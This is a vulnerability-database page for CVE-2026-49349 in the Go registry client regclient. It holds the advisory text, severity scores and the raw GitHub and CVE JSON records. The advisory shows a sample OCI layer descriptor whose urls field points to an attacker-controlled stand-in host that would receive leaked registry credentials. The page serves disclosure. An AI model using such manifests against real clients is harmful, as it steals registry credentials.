Vulnerability-Lookup

GHSA-QVQC-4C52-X6QP

Vulnerability from github – Published: 2026-06-26 22:43 – Updated: 2026-06-26 22:43

Summary

regclient may leak authentication credentials to external blob stores

Details

Credentials for a registry may be inadvertently leaked to external servers. A prerequisite for this attack is a malicious registry server, a malicious blob store, or a registry that does not restrict the external URLs for foreign blobs.

Example attack

A malicious registry serves an OCI image manifest containing a layer descriptor with a urls field pointing to an attacker controlled host:

{
  "mediaType": "application/vnd.oci.image.layer.v1.tar+gzip",
  "digest": "sha256:...",
  "size": 1024,
  "urls": ["https://malicious.example.org/blobs/sha256/..."]
}

When regclient fetches the image and the primary blob request to the registry fails, it falls back to the URLs in the layer descriptor. If the external server requests authentication, regclient would send the credentials for the original registry server.

Timeline

2026-05-25: Advisory submitted
2026-05-26: Fix released

Credit

Theodoros Lampropoulos, Threat Detection Engineer, Odyssey Cyber Security

Severity

6.8 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N

Show details on source website

JSON

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.11.4"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/regclient/regclient"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.11.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49349"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-522"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-26T22:43:31Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "Credentials for a registry may be inadvertently leaked to external servers. A prerequisite for this attack is a malicious registry server, a malicious blob store, or a registry that does not restrict the external URLs for foreign blobs.\n\n## Example attack\n\nA malicious registry serves an OCI image manifest containing a layer descriptor with a `urls` field pointing to an attacker controlled host:\n\n```json\n{\n  \"mediaType\": \"application/vnd.oci.image.layer.v1.tar+gzip\",\n  \"digest\": \"sha256:...\",\n  \"size\": 1024,\n  \"urls\": [\"https://malicious.example.org/blobs/sha256/...\"]\n}\n```\n\nWhen regclient fetches the image and the primary blob request to the registry fails, it falls back to the URLs in the layer descriptor. If the external server requests authentication, regclient would send the credentials for the original registry server.\n\n## Timeline\n\n- 2026-05-25: Advisory submitted\n- 2026-05-26: Fix released\n\n## Credit\n\nTheodoros Lampropoulos, Threat Detection Engineer, Odyssey Cyber Security",
  "id": "GHSA-qvqc-4c52-x6qp",
  "modified": "2026-06-26T22:43:31Z",
  "published": "2026-06-26T22:43:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/regclient/regclient/security/advisories/GHSA-qvqc-4c52-x6qp"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/regclient/regclient"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "regclient may leak authentication credentials to external blob stores"
}

CVE-2026-49349 (GCVE-0-2026-49349)

Vulnerability from cvelistv5 – Published: 2026-08-12 14:11 – Updated: 2026-08-12 14:35

Title

regclient may leak authentication credentials to external blob stores

Summary

regclient is a Docker and OCI Registry Client in Go. Prior to version 0.11.5, credentials for a registry may be inadvertently leaked to external servers. A prerequisite for this attack is a malicious registry server, a malicious blob store, or a registry that does not restrict the external URLs for foreign blobs. Version 0.11.5 fixes the issue.

Severity

6.8 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-12 14:35 UTC

CWE

CWE-522 - Insufficiently Protected Credentials

Assigner

GitHub_M mitre root

References

1 reference

URL	Tags
https://github.com/regclient/regclient/security/a…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
regclient	regclient	Affected: < 0.11.5

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-49349",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-12T14:35:50.931767Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-12T14:35:58.638Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "regclient",
          "vendor": "regclient",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.11.5"
            }
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        }
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        {
          "lang": "en",
          "value": "regclient is a Docker and OCI Registry Client in Go. Prior to version 0.11.5, credentials for a registry may be inadvertently leaked to external servers. A prerequisite for this attack is a malicious registry server, a malicious blob store, or a registry that does not restrict the external URLs for foreign blobs. Version 0.11.5 fixes the issue."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.8,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-522",
              "description": "CWE-522: Insufficiently Protected Credentials",
              "lang": "en",
              "type": "CWE"
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      "providerMetadata": {
        "dateUpdated": "2026-08-12T14:11:58.456Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/regclient/regclient/security/advisories/GHSA-qvqc-4c52-x6qp",
          "tags": [
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          ],
          "url": "https://github.com/regclient/regclient/security/advisories/GHSA-qvqc-4c52-x6qp"
        }
      ],
      "source": {
        "advisory": "GHSA-qvqc-4c52-x6qp",
        "discovery": "UNKNOWN"
      },
      "title": "regclient may leak authentication credentials to external blob stores"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-49349",
    "datePublished": "2026-08-12T14:11:58.456Z",
    "dateReserved": "2026-05-29T14:35:45.903Z",
    "dateUpdated": "2026-08-12T14:35:58.638Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

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